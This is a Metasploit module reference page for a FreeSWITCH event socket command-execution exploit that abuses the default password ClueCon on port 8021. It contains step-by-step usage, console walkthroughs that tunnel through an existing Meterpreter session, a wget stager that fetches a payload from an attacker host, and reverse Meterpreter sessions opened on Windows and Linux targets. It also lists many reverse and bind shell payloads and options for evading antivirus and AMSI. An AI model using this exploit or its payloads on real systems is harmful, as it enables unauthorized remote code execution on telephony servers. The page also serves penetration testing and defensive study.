FreeSWITCH Event Socket Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/misc/freeswitch_event_socket_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: FreeSWITCH Event Socket Command Execution
Module: exploit/multi/misc/freeswitch_event_socket_cmd_exec
Source code: modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb
Disclosure date: 2019-11-03
Last modification time: 2019-11-02 22:03:02 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): BSD, Linux, Unix, Windows
Target service / protocol: -
Target network port(s): 8021
List of CVEs: -

This module uses the FreeSWITCH event socket interface to execute system commands using the system API command. The event socket service is enabled by default and listens on TCP port 8021 on the local network interface. This module has been tested successfully on FreeSWITCH versions: 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
msf exploit(freeswitch_event_socket_cmd_exec) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • RPORT: The target port

Knowledge Base


Description


This module uses the FreeSWITCH event socket interface to execute system commands using the system API command.

The event socket service is enabled by default and listens on TCP port 8021 on the local network interface.

Vulnerable Application


FreeSWITCH is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

The Event Socket mod_event_socket is a TCP based interface to control FreeSWITCH and is enabled by default.

The default values are to bind to 127.0.0.1 port 8021 and the default password is ClueCon.

This module has been tested successfully on FreeSWITCH versions:

1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64).

Source and Installers:

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/multi/misc/freeswitch_event_socket_cmd_exec
  3. Do: set rhosts <ip>
  4. Do: set rport <port> (default: 8021)
  5. Do: set password <password> (default: ClueCon)
  6. Do: set target <target>
  7. Do: run
  8. You should get a session

Options


Password

The password for the event socket. (default: ClueCon)

Scenarios


Windows PowerShell Target

msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec 
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1"
[*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.242)
[*] Local TCP relay created: :1234 <-> 127.0.0.1:8021
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234
rport => 1234
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   Linux (Dropper)
   2   PowerShell (In-Memory)
   3   Windows (In-Memory)
   4   Windows (Dropper)


msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2
target => 2
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] 127.0.0.1:1234 - Login success
[*] 127.0.0.1:1234 - Sending payload (310 bytes) ...
[*] Sending stage (180291 bytes) to 172.16.191.242
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.242:50706) at 2019-11-02 17:31:33 -0400

meterpreter > getuid
Server username: TEST\user
meterpreter > pwd
C:\Program Files\FreeSWITCH
meterpreter > sysinfo
Computer        : TEST
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > 

Linux Dropper Target

msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec 
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1"
[*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.172)
[*] Local TCP relay created: :1234 <-> 127.0.0.1:8021
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234
rport => 1234
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   Linux (Dropper)
   2   PowerShell (In-Memory)
   3   Windows (In-Memory)
   4   Windows (Dropper)


msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 1
target => 1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmdstager::flavor wget
cmdstager::flavor => wget
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] 127.0.0.1:1234 - Login success
[*] 127.0.0.1:1234 - Sending payload (150 bytes) ...
[*] 127.0.0.1:1234 - Using URL: http://0.0.0.0:8080/WuWvURUHveqo5
[*] 127.0.0.1:1234 - Local IP: http://172.16.191.165:8080/WuWvURUHveqo5
[*] 127.0.0.1:1234 - Client 172.16.191.172 (Wget/1.16 (linux-gnu)) requested /WuWvURUHveqo5
[*] 127.0.0.1:1234 - Sending payload to 172.16.191.172 (Wget/1.16 (linux-gnu))
[*] Sending stage (985320 bytes) to 172.16.191.172
[*] 127.0.0.1:1234 - Command Stager progress - 100.00% done (120/120 bytes)
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.172:42478) at 2019-11-02 17:34:59 -0400
[*] 127.0.0.1:1234 - Server stopped.

meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > pwd
/
meterpreter > sysinfo
Computer     : 172.16.191.172
OS           : Debian 8.5 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

UNIX Generic Command Target

msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec 
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1"
[*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.172)
[*] Local TCP relay created: :1234 <-> 127.0.0.1:8021
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234
rport => 1234
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   Linux (Dropper)
   2   PowerShell (In-Memory)
   3   Windows (In-Memory)
   4   Windows (Dropper)


msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 0
target => 0
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set payload cmd/unix/generic 
payload => cmd/unix/generic
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmd "id; uname -a"
cmd => id; uname -a
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set verbose true
verbose => true
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run

[*] 127.0.0.1:1234 - Login success
[*] 127.0.0.1:1234 - Sending payload (12 bytes) ...
[*] 127.0.0.1:1234 - Response: Content-Type: api/response
Content-Length: 159

uid=999(freeswitch) gid=999(freeswitch) groups=999(freeswitch)
Linux freeswitch-vm 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03) x86_64 GNU/Linux

[*] Exploit completed, but no session was created.
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > 

Go back to menu.

Msfconsole Usage


Here is how the multi/misc/freeswitch_event_socket_cmd_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec

[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show info

       Name: FreeSWITCH Event Socket Command Execution
     Module: exploit/multi/misc/freeswitch_event_socket_cmd_exec
   Platform: Windows, Linux, Unix, BSD
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-03

Provided by:
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)
  1   Linux (Dropper)
  2   PowerShell (In-Memory)
  3   Windows (In-Memory)
  4   Windows (Dropper)

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  ClueCon          yes       FreeSWITCH event socket password
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     8021             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:
  Avoid: 5 characters

Description:
  This module uses the FreeSWITCH event socket interface to execute 
  system commands using the `system` API command. The event socket 
  service is enabled by default and listens on TCP port 8021 on the 
  local network interface. This module has been tested successfully on 
  FreeSWITCH versions: 1.6.10-17-726448d~44bit on 
  FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 
  19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64).

References:
  https://cwe.mitre.org/data/definitions/260.html
  https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket

Module Options


This is a complete list of options available in the multi/misc/freeswitch_event_socket_cmd_exec exploit:

msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options

Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  ClueCon          yes       FreeSWITCH event socket password
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     8021             yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

Advanced Options


Here is a complete list of advanced options supported by the multi/misc/freeswitch_event_socket_cmd_exec exploit:

msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show advanced

Module advanced options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   CHOST                                                    no        The local client address
   CMDSTAGER::DECODER                                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR                       auto             no        The CMD Stager to use. (Accepted: auto, curl, wget, certutil, vbs)
   CMDSTAGER::SSL                          false            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                          no        Writable directory for staged files
   CPORT                                                    no        The local client port
   ConnectTimeout                          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                                   no        The information file that contains context information
   DisablePayloadHandler                   false            no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false            no        Use the default template in case the specified one is missing
   EXE::Inject                             false            no        Set to preserve the original EXE function
   EXE::OldMethod                          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable template
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding                   false            no        Use transient context when encoding payloads
   FileDropperDelay                                         no        Delay in seconds before attempting cleanup
   ListenerComm                                             no        The specific communication channel to use for this service
   MSI::Custom                                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false            no        Enable SSL/TLS-level compression
   SSLVerifyMode                           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion                              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots                              false            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module
   WfsDelay                                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/misc/freeswitch_event_socket_cmd_exec module can exploit:

msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   Linux (Dropper)
   2   PowerShell (In-Memory)
   3   Windows (In-Memory)
   4   Windows (Dropper)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/freeswitch_event_socket_cmd_exec exploit:

msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   18  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   19  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   20  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   21  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   22  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   23  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   24  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   25  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   26  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   27  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   28  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   42  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44  payload/generic/custom                                       normal  No     Custom Payload
   45  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   46  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/misc/freeswitch_event_socket_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Access denied by network ACL


Here is a relevant code snippet related to the "Access denied by network ACL" error message:

84:	    connect
85:	    banner = sock.get_once.to_s
86:	    disconnect
87:	
88:	    if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
89:	      vprint_error 'Access denied by network ACL'
90:	      return CheckCode::Safe
91:	    end
92:	
93:	    unless banner.include?('Content-Type: auth/request')
94:	      return CheckCode::Safe

Unexpected reply


Here is a relevant code snippet related to the "Unexpected reply" error message:

100:	  def auth(password)
101:	    sock.put "auth #{password}\n\n"
102:	    res = sock.get_once.to_s
103:	
104:	    unless res.include? 'Content-Type: command/reply'
105:	      fail_with Failure::UnexpectedReply, 'Unexpected reply'
106:	    end
107:	
108:	    unless res.include?('Reply-Text: +OK accepted')
109:	      fail_with Failure::NoAccess, 'Login failed'
110:	    end

Login failed


Here is a relevant code snippet related to the "Login failed" error message:

104:	    unless res.include? 'Content-Type: command/reply'
105:	      fail_with Failure::UnexpectedReply, 'Unexpected reply'
106:	    end
107:	
108:	    unless res.include?('Reply-Text: +OK accepted')
109:	      fail_with Failure::NoAccess, 'Login failed'
110:	    end
111:	
112:	    print_status 'Login success'
113:	  end
114:	

Unexpected reply


Here is a relevant code snippet related to the "Unexpected reply" error message:

117:	
118:	    sock.put "api #{api_function} #{cmd}\n\n"
119:	    res = sock.get_once.to_s
120:	
121:	    unless res.include? 'Content-Type: api/response'
122:	      fail_with Failure::UnexpectedReply, 'Unexpected reply'
123:	    end
124:	
125:	    vprint_status "Response: #{res}"
126:	  end
127:	

Target is not vulnerable


Here is a relevant code snippet related to the "Target is not vulnerable" error message:

125:	    vprint_status "Response: #{res}"
126:	  end
127:	
128:	  def exploit
129:	    unless check == CheckCode::Appears
130:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
131:	    end
132:	
133:	    connect
134:	    banner = sock.get_once.to_s
135:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.